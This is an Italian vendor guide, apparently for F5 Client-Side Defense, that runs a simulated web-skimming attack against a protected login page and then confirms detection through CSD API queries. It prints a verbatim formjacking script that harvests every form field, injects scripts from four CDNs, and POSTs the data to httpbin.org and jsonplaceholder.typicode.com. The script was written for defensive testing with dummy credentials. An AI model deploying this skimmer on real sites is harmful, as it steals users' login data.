Salta ai contenuti

Fase 2 — Attacco

La Fase 2 genera traffico di attacco simulato contro l’applicazione protetta e conferma che CSD lo abbia rilevato. La Fase 1 deve essere completata — tutti i controlli del Passaggio 7 devono risultare PASS — prima di procedere.

Dopo aver verificato l’infrastruttura (tutti i controlli del Passaggio 7 della Fase 1 risultano PASS), eseguire gli script di simulazione dell’attacco per generare rilevamenti CSD. Gli script sono definiti nella guida Rilevamento trigger e nella Libreria di script di attacco.

Gli assistenti IA dotati di strumenti di automazione del browser eseguono la simulazione dell’attacco in modo programmatico:

  1. Navigazione con initScript — navigare prima verso about:blank per garantire un contesto documento pulito (evita initScript obsoleti da navigazioni precedenti), poi navigate_page verso http://$F5XC_DOMAINNAME/#/login con un initScript che salva i riferimenti nativi a setInterval, clearInterval, fetch e console.log prima che zone.js li modifichi, esegue il polling dei campi del modulo di accesso, compila le credenziali tramite il setter nativo HTMLInputElement.prototype.value e avvia immediatamente il Combined Detection Script inline. Utilizzare l’initScript verbatim riportato di seguito.
  2. Chiusura del banner di benvenuto — premere Escape tramite press_key per chiudere il banner di benvenuto. Nelle visite successive il banner potrebbe non apparire (cookie persistenti). Il dialogo di consenso ai cookie viene chiuso automaticamente dal tasto Escape.
  3. Attesa del completamento — attendere 10 secondi affinché tutti i callback di caricamento/errore degli script CDN e le risoluzioni delle promise fetch vengano completati.
  4. Raccolta delle provelist_console_messages per verificare la presenza di [CSD Demo] Simulation complete e i risultati del caricamento CDN; list_network_requests filtrato per tipi script e fetch per verificare i codici di stato HTTP (200/201 per esito positivo, pending per richieste in attesa).

initScript della Fase 2 (verbatim — utilizzare esattamente come scritto):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Gli operatori privi di strumenti di automazione del browser eseguono i passaggi manualmente:

  1. Navigare alla pagina di accesso dell’applicazione protetta: http://xF5XC_DOMAINNAMEx/#/login
  2. Inserire credenziali fittizie — digitare test@example.com nel campo Email e P@ssword123 nel campo Password (non inviare il modulo)
  3. Aprire DevTools — premere F12 e passare alla scheda Console
  4. Eseguire il Combined Detection Script — incollare lo script da Rilevamento trigger — Eseguire il Combined Simulation Script nella console e premere Invio
  5. Verificare l’output della console — confermare che l’output a fasi [CSD Demo] mostri: raccolta dei campi, iniezione di script da 4 domini CDN ed esfiltrazione dei dati verso 2 endpoint
SegnaleComportamentoRilevamento
Raccolta dei campi del moduloLegge i valori degli input email e passwordScript che leggono campi sensibili del modulo — classificati ad alto rischio
Iniezione di scriptInietta 4 tag <script> da cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.ioFino a 4 nuovi domini di script di terze parti rilevati (la disponibilità CDN può variare)
Esfiltrazione dei datiInvia i dati raccolti tramite fetch verso www.httpbin.org e jsonplaceholder.typicode.comChiamate di rete verso domini esterni

L’assistente IA deve riportare quanto segue. Per l’esecuzione automatizzata tramite IA, le prove vengono raccolte in modo programmatico tramite list_console_messages (la funzione di polling dell’initScript registra i risultati nella console). Per l’esecuzione manuale, l’operatore legge l’output della console del browser.

ControlloAttesoStato
Pagina di accesso caricata200 OK su http://$F5XC_DOMAINNAME/#/loginPASS / FAIL
Script della console eseguito[CSD Demo] Simulation complete nell’output della consolePASS / FAIL
Campi raccoltiConteggio > 0 nell’output della consolePASS
Script iniettati1–4 domini CDN nell’output della console (alcuni potrebbero fallire con errori di risorse)PASS se appare almeno un dominio CDN
Canali di esfiltrazione2 tentativi di fetch POST nell’output della consolePASS

Interrogare gli endpoint API CSD per confermare la comparsa dei rilevamenti. Utilizzare il ciclo di polling: interrogare /detected_domains ogni 60 secondi; procedere non appena DET-3 risulta PASS. Se DET-3 non risulta PASS dopo 10 minuti, verificare la configurazione CSD. Se DET-3 non risulta PASS dopo 30 minuti, interrompere e segnalare all’operatore. Questi endpoint sono documentati nel Riferimento API e utilizzano la stessa autenticazione e lo stesso namespace dei passaggi precedenti.

Interrogare gli script rilevati nelle ultime 24 ore:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
CampoAttesoStato
total> 0 (script rilevati)PASS se > 0; PENDING se 0 ma /detected_domains mostra domini di esfiltrazione
Nomi degli scriptInclude i domini CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) in script_namePASS se compaiono i domini CDN iniettati
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
CampoAttesoStato
total_domains> 0PASS se > 0
Elenco dominiInclude i domini CDN e di esfiltrazionePASS se compaiono i domini attesi
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
CampoAttesoStato
total> 0PASS se > 0; PENDING se 0 ma DET-3 risulta PASS
nameInclude email, passwordPASS se compaiono i campi sensibili
sensitivitySensitive per i campi email/passwordPASS se classificato correttamente dal ML

Dopo tutte le interrogazioni di rilevamento, presentare lo stato finale del rilevamento:

ID testControlloStato
DET-1Script rilevati (endpoint /scripts)PASS se > 0; PENDING se vuoto ma DET-3 risulta PASS
DET-2Domini CDN rilevatiPASS / FAIL
DET-3Domini di esfiltrazione rilevati (/detected_domains)Indicatore principale — PASS se compaiono www.httpbin.org o jsonplaceholder.typicode.com
DET-4Campi del modulo rilevati (endpoint /formFields)PASS se > 0; PENDING se vuoto ma DET-3 risulta PASS

Fase 2 completata. Procedere a Fase 3 — Mitiga per applicare le regole di mitigazione e verificare che i domini siano bloccati.